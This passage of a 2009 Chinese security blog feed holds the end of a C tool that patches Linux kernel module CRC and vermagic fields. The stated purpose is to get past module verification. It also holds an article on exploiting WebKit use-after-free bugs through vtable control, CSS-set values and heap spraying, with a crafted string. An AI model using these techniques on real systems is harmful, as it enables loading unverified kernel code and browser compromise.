        for (i = 0 ; i &amp;lt; (int)ehdr-&amp;gt;e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,&quot;__versions&quot;)){
                        printf(&quot;[+] found section %s.\n&quot;, buff + shdr[i].sh_name);
                        version_off = (unsigned int)shdr[i].sh_offset;
                        version_size = (unsigned int)shdr[i].sh_size;
                        printf(&quot;[+] version off: 0x%x\n&quot;, version_off);
                        printf(&quot;[+] version size: 0x%x\n&quot;, version_size);
                        break;
                }
        }

        printf(&quot;[+] %x,%x\n&quot;, (unsigned long)ehdr + version_off, shdr[i].sh_addr);
        versions = (void *)((unsigned long)ehdr + version_off);
        num_versions = version_size / sizeof(struct modversion_info);
        printf(&quot;[+] num_versions: %d\n&quot;, num_versions);

        for (j = 0; j &amp;lt; num_versions; j++) {
                printf(&quot;[+] %s:0x%08x.\n&quot;, versions[j].name, versions[j].crc);
                if (!strcmp(versions[j].name, &quot;struct_module&quot;)) {
                        fprintf(stderr, &quot;[+] Found symbol struct_module.\n&quot;);
                        versions[j].name[0] = 'T';
                        break;
                }
        }

        for (j = 0; j &amp;lt; num_versions; j++) {
                printf(&quot;[+] %s:0x%08x.\n&quot;, versions[j].name, versions[j].crc);
        }

        free(buff);
        return 1;
}

static char *next_string(char *string, unsigned long *secsize)
{
        /* Skip non-zero chars */
        while (string[0]) {
                string++;
                if ((*secsize)-- &amp;lt;= 1)
                        return NULL;
        }

        /* Skip any zero padding. */
        while (!string[0]) {
                string++;
                if ((*secsize)-- &amp;lt;= 1)
                        return NULL;
        }
        return string;
}

static char *get_modinfo(Elf32_Shdr *sechdrs, unsigned int info, const char *tag)
{
        char *p;
        unsigned int taglen = strlen(tag);
        unsigned long size = sechdrs[info].sh_size;

        for (p = (char *)(ehdr +sechdrs[info].sh_offset); p; p = next_string(p, &amp;amp;size)) {
                if (strncmp(p, tag, taglen) == 0 &amp;amp;&amp;amp; p[taglen] == '=')
                        return p + taglen + 1;
        }
        return NULL;
}

int display_module_vermagic_info(void)
{
        char *buff, *p;
        char *ver = &quot;vermagic&quot;;
        unsigned int taglen = strlen(ver);
        int size, i;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, &quot;[-] Malloc failed.\n&quot;);
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i &amp;lt; (int)ehdr-&amp;gt;e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,&quot;.modinfo&quot;)){
                        printf(&quot;[+] found section %s.\n&quot;, buff + shdr[i].sh_name);
                        break;
                }
        }

        size = shdr[i].sh_size;
        printf(&quot;[+] size: 0x%x.\n&quot;, size);

        p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
        printf(&quot;[+] 0x%08x\n&quot;, p);

        for (; p; p = next_string(p, &amp;amp;size)) {
                printf(&quot;[+] %s\n&quot;, p);
                if (strncmp(p, &quot;vermagic&quot;, taglen) == 0 &amp;amp;&amp;amp; p[taglen] == '=') {
                        printf(&quot;[+] %s\n&quot;, p + taglen + 1);
                        //memset(p + taglen + 1, 'A', 30);
                }
        }

        return 1;
}

int set_module_vermagic_info(char *new_vermagic)
{
        char *buff, *p;
        char *ver = &quot;vermagic&quot;;
        unsigned int taglen = strlen(ver);
        int size, i;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, &quot;[-] Malloc failed.\n&quot;);
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i &amp;lt; (int)ehdr-&amp;gt;e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,&quot;.modinfo&quot;)){
                        printf(&quot;[+] found section %s.\n&quot;, buff + shdr[i].sh_name);
                        break;
                }
        }

        size = shdr[i].sh_size;
        printf(&quot;[+] size: 0x%x.\n&quot;, size);

        p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
        printf(&quot;[+] 0x%08x\n&quot;, p);

        for (; p; p = next_string(p, &amp;amp;size)) {
                printf(&quot;[+] %s\n&quot;, p);
                if (strncmp(p, &quot;vermagic&quot;, taglen) == 0 &amp;amp;&amp;amp; p[taglen] == '=') {
                        printf(&quot;[+] %s\n&quot;, p + taglen + 1);
                        if (strlen(p + taglen + 1) &amp;lt; strlen(new_vermagic)) {
                                printf(&quot;[-] New vermagic len must &amp;lt; current magic len.\n&quot;);
                                return 0;
                        }
                        memset(p + taglen + 1, '\0', strlen(new_vermagic));
                        memcpy(p + taglen + 1, new_vermagic, strlen(new_vermagic));
                }
        }

        return 1;
}

int exit_elf_load(void)
{
        close(elf_fd);
        if (munmap(ehdr, f_stat.st_size) == -1) {
                return 0;
        }

        return 1;
}

int main(int argc, char **argv)
{
        if (argc == 1) {
                usage(argv[0]);
        }

        if (!strcmp(argv[1], &quot;-w&quot;) &amp;amp;&amp;amp; !strcmp(argv[2], &quot;-c&quot;)) {
                fprintf(stderr, &quot;[+] Display %s module crc value.\n&quot;, argv[3]);
                if (!init_load_elf(argv[3])) {
                        fprintf(stderr, &quot;[-] Init elf load failed.\n&quot;);
                        return 0;
                }
                display_module_crc_info();
                exit_elf_load();
        }
        else if (!strcmp(argv[1], &quot;-s&quot;) &amp;amp;&amp;amp; !strcmp(argv[2], &quot;-c&quot;)) {
                fprintf(stderr, &quot;[+] Set %s module crc value.\n&quot;, argv[3]);
                if (!init_load_elf(argv[3])) {
                        fprintf(stderr, &quot;[-] Init elf load failed.\n&quot;);
                        return 0;
                }
                set_module_crc_info();
                exit_elf_load();
        }
        if (!strcmp(argv[1], &quot;-w&quot;) &amp;amp;&amp;amp; !strcmp(argv[2], &quot;-v&quot;)) {
                fprintf(stderr, &quot;[+] Display %s module crc value.\n&quot;, argv[3]);
                if (!init_load_elf(argv[3])) {
                        fprintf(stderr, &quot;[-] Init elf load failed.\n&quot;);
                        return 0;
                }
                display_module_vermagic_info();
                exit_elf_load();
        }
        if (!strcmp(argv[1], &quot;-s&quot;) &amp;amp;&amp;amp; !strcmp(argv[2], &quot;-v&quot;)) {
                fprintf(stderr, &quot;[+] Display %s module crc value.\n&quot;, argv[4]);
                if (!init_load_elf(argv[4])) {
                        fprintf(stderr, &quot;[-] Init elf load failed.\n&quot;);
                        return 0;
                }
                set_module_vermagic_info(argv[3]);
                exit_elf_load();
        }
        else {
                return 0;
        }

}&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3438.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2009. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3438.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3438.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782638/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3438.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782638/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782638/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3438.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>By wzt
1、 为什么要突破模块验证
2、 内核是怎么实现的
3、 怎样去突破
4、 总结
5、 参考
6、 附录

1、 为什么要突破模块验证
Linux内核版本很多，升级很快，2个小内核版本中内核函数的定义可...&lt;img src=&quot;http://www1.feedsky.com/t1/328782638/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3438.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782638/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782638/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>Linux</category><category>技术文章</category><category>WebZine</category><pubDate>Tue, 29 Dec 2009 19:22:49 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3438.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3438.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3438.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782638/1230972</fs:itemid></item><item><title>[WebZine]应用软件缺陷利用的一点心得(Webkit篇)</title><link>http://huaidan.org/archives/3437.html</link><content:encoded>&lt;p&gt;By &lt;a href=&quot;http://secinn.appspot.com/pstzine/read?issue=4&amp;amp;articleid=6&quot; target=&quot;_blank&quot;&gt;wushi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;众所周知，在各软件厂商高度重视软件安全的当前情况下，成功稳定的利用软件的缺陷进行娱乐是一件越来越困难的事情。&lt;br /&gt;
&lt;span id=&quot;more-3437&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;从这篇文章(http://blogs.technet.com/srd/archive/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities.aspx)&lt;br /&gt;
我们可以看到，&quot;邪恶帝国&quot;对于软件的保护，设置缺陷利用的障碍已经是&quot;令人发指&quot;，无所不用其计。在后XP时代，想要攻击采用系统内存管理的软件几乎是不可能的事情。但是所幸的是，很多软件厂商出于种种原因，很重要的一个原因是出于对不同平台移植性的考虑，没有采用windows的系统内存管理。&lt;br /&gt;
这里一个重要的例子就是MS office,它为了在MAC OS下可以方便移植，也没有采用windows的系统内存管理，这些软件在可预见的将来，估计也不会采用windows的系统内存管理，这就给了我们一个生存空间，毕竟，这些软件的保护措施一般不会像windows这样严格。&lt;/p&gt;
&lt;p&gt;在这些软件中，我们应该把注意力集中在支持script的软件上。让script 在软件中执行，就意味着很大程度上我们可以控制内存的分配，让合适的内容在合适的时间出现在合适的地点。&lt;/p&gt;
&lt;p&gt;言归正传，我们下面来看看webkit的情况. webkit是safari和chrome的核心，其中一个函数是这样的：&lt;br /&gt;
110&lt;br /&gt;
111 void RenderArena::free(size_t size, void* ptr)&lt;br /&gt;
112 {&lt;br /&gt;
113 #ifndef NDEBUG&lt;br /&gt;
114 // Use standard free so that memory debugging tools work.&lt;br /&gt;
115 RenderArenaDebugHeader* header =&lt;br /&gt;
static_cast&amp;lt;renderarenadebugheader*&amp;gt;(ptr) - 1;&lt;br /&gt;
116 ASSERT(header-&amp;gt;signature == signature);&lt;br /&gt;
117 ASSERT(header-&amp;gt;size == size);&lt;br /&gt;
118 ASSERT(header-&amp;gt;arena == this);&lt;br /&gt;
119 header-&amp;gt;signature = signatureDead;&lt;br /&gt;
120 ::free(header);&lt;br /&gt;
121 #else&lt;br /&gt;
122 // Ensure we have correct alignment for pointers. Important for Tru64&lt;br /&gt;
123 size = ROUNDUP(size, sizeof(void*));&lt;br /&gt;
124&lt;br /&gt;
125 // See if it's a size that we recycle&lt;br /&gt;
126 if (size &amp;lt; gMaxRecycledSize) {&lt;br /&gt;
127 const int index = size &amp;gt;&amp;gt; 2;&lt;br /&gt;
128 void* currentTop = m_recyclers[index];&lt;br /&gt;
129 m_recyclers[index] = ptr;&lt;br /&gt;
130 *((void**)ptr) = currentTop;&lt;br /&gt;
131 }&lt;br /&gt;
132 #endif&lt;br /&gt;
133 }&lt;/p&gt;
&lt;p&gt;这个函数是webkit的render object 的内存管理的一部分，所谓render object就是显示在网页上的table啊，图片啊这些东西。这些东西可以通过javascript用DOM的方式操作。目前我研究的大部分浏览器问题是出在这个DOM上，特别是use after free的问题。纠其原因，在于浏览器在处理DOM对象的异步操作上，由于JS的灵活性，程序员无法考虑到所有的情况，那么出现错误就在所难免了。&lt;/p&gt;
&lt;p&gt;但是 use after free这类问题，稳定的利用往往是一个很大的问题，一段内存在释放之后，其内容可能是任意值，如何把这任意值变成我们需要的东西是一件比较费力气的事。从这个free函数我们可以看出，呵呵，没有MS的那些乱七八糟的保护措施，对于我们来说是一个好消息，这个函数非常简单，把释放的内存放到对应的链表（按释放内存的大小分为不同的链表）里，修改链表的头为被释放的指针，指向前一个链表头.这个内存管理对于攻击者来说简直是天堂，对于一个 overflow类型的缺陷可以非常轻松的覆盖一个另一个obj的vtable,从而实施攻击。&lt;/p&gt;
&lt;p&gt;对于未初始化和use after free类的缺陷，情况稍微复杂一点，但也不是什么难事。&lt;br /&gt;
以use after free为例，一个render object free的时候，从上面的算法可知，ptr+0的位置会填入前一个释放指针的地址，而ptr+0在c++的object里就是vtable的所在，所以刚释放的这个object的vtable会填入前一个释放的object的地址。&lt;/p&gt;
&lt;p&gt;当调用刚释放的object的函数时，这个函数地址事实上是指向前一个释放的object的某个属性的位置，如果我们能够控制这个属性的值的话，我们就可以任意控制EIP。&lt;/p&gt;
&lt;p&gt;非常幸运的是，这个属性在大多数情况下是能控制的，由于一个render object的很多属性是由CSS定义的，CSS属性很多是数字型的，比如bottom,left,right,top等等，我们定义好这些值就能控制 eip了，哈哈。&lt;/p&gt;
&lt;p&gt;这个方法应用起来是这样的:在JS中定义两个同类型的render object,首先释放一个CSS经过精心设计的object,然后释放第二个,接着做一个导致第二个产生use after free的操作.&lt;/p&gt;
&lt;p&gt;大家不禁要问,这么费事,直接用heap spraying得了.但是webkit的string 是非常不同的,叫ustring,即unicode string,我们来看看一个具体的例子.&lt;/p&gt;
&lt;p&gt;0:000&amp;gt; dd 7fd9b4b0&lt;br /&gt;
7fd9b4b0 00000000 0000002d 00000001 70e0ffd1&lt;br /&gt;
7fd9b4c0 7ff130f2 00000000 7fef44e0 00000000&lt;br /&gt;
7fd9b4d0 00000000 0000002d 0000002d 00000000&lt;/p&gt;
&lt;p&gt;7fd9b4b0+0是offset,&quot;0000002d&quot;是ustring 的长度, &quot;00000001 &quot;是这个ustring object的reference count,&quot;70e0ffd1&quot;是这个ustring 的hash值,&quot;7fef44e0 &quot;里才放着这个ustring的具体内容。&lt;/p&gt;
&lt;p&gt;&quot;7fef44e0&quot;是fastMalloc出来的东西,和这个ustring object是采用不同的内存管理方法,我几乎可以肯定的说,直接用string的内容来做heap spraying没有任何作用,因为string 的内容在内存中几乎可以看作是另一个heap的(我说的含糊一点,哈哈,在chrome下是另一个heap的,在safari下由于没有symbols, 我不敢肯定)。&lt;/p&gt;
&lt;p&gt;所以string内容在object发生问题时是毫无用处的,但是能不能用heap spray的方法呢?哈哈,是可以的,但是要变通一下,先看看上面这个ustring object变成汇编语言是什么东西?&lt;/p&gt;
&lt;p&gt;0:000&amp;gt; u 7fd9b4b0&lt;br /&gt;
7fd9b4b0 0000 add byte ptr [eax],al&lt;br /&gt;
7fd9b4b2 0000 add byte ptr [eax],al&lt;br /&gt;
7fd9b4b4 2d00000001 sub eax,1000000&lt;br /&gt;
7fd9b4b9 0000 add byte ptr [eax],al&lt;br /&gt;
7fd9b4bb 00d1 add cl,dl&lt;br /&gt;
7fd9b4bd ffe0 jmp eax&lt;/p&gt;
&lt;p&gt;haha,我们保证eax是这个heap里的地址,构造一个长度为0x2d的字符串,控制一下reference count的值,然后构造string的内容,让它的hash值中间2byte为0xffe0(jmp eax),我们就可以跳到另一个较远的地址去.我们在处理object的heap中用javascript大量的生成这样的对象,程序出问题时就有较大可能执行上面这些指令.&lt;/p&gt;
&lt;p&gt;再用heap spraying保证整个内存空间中写入了大量的shellcode,这样我们基本就可以成功的利用了.&lt;br /&gt;
一个长度为0x2d,hash值为&quot;70e0ffd1&quot;的string如下:&lt;br /&gt;
addr4=&quot;\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051&quot;;&lt;/p&gt;
&lt;p&gt;这个方法我说的比较概括,为了避免麻烦,我也不打算附上一个具体的例子.但是你有志写一个safari的POC时,可以参考参考,哈哈.&lt;/p&gt;
&lt;p&gt;我举这个例子的意思是:即使是在win7&amp;amp;vista时代,我们依然能够通过具体问题具体分析的方法,绕过种种限制,让软件缺陷成为真正的威胁.&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3437.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2009. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3437.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3437.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782639/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3437.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782639/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782639/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3437.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>By wushi
众所周知，在各软件厂商高度重视软件安全的当前情况下，成功稳定的利用软件的缺陷进行娱乐是一件越来越困难的事情。

从这篇文章(http://blogs.technet.com/srd/archive/2009/08/04/preventing-the-ex...&lt;img src=&quot;http://www1.feedsky.com/t1/328782639/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3437.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782639/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782639/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>Webkit</category><category>技术文章</category><category>WebZine</category><pubDate>Tue, 29 Dec 2009 19:19:11 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3437.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3437.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3437.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782639/1230972</fs:itemid></item></channel></rss>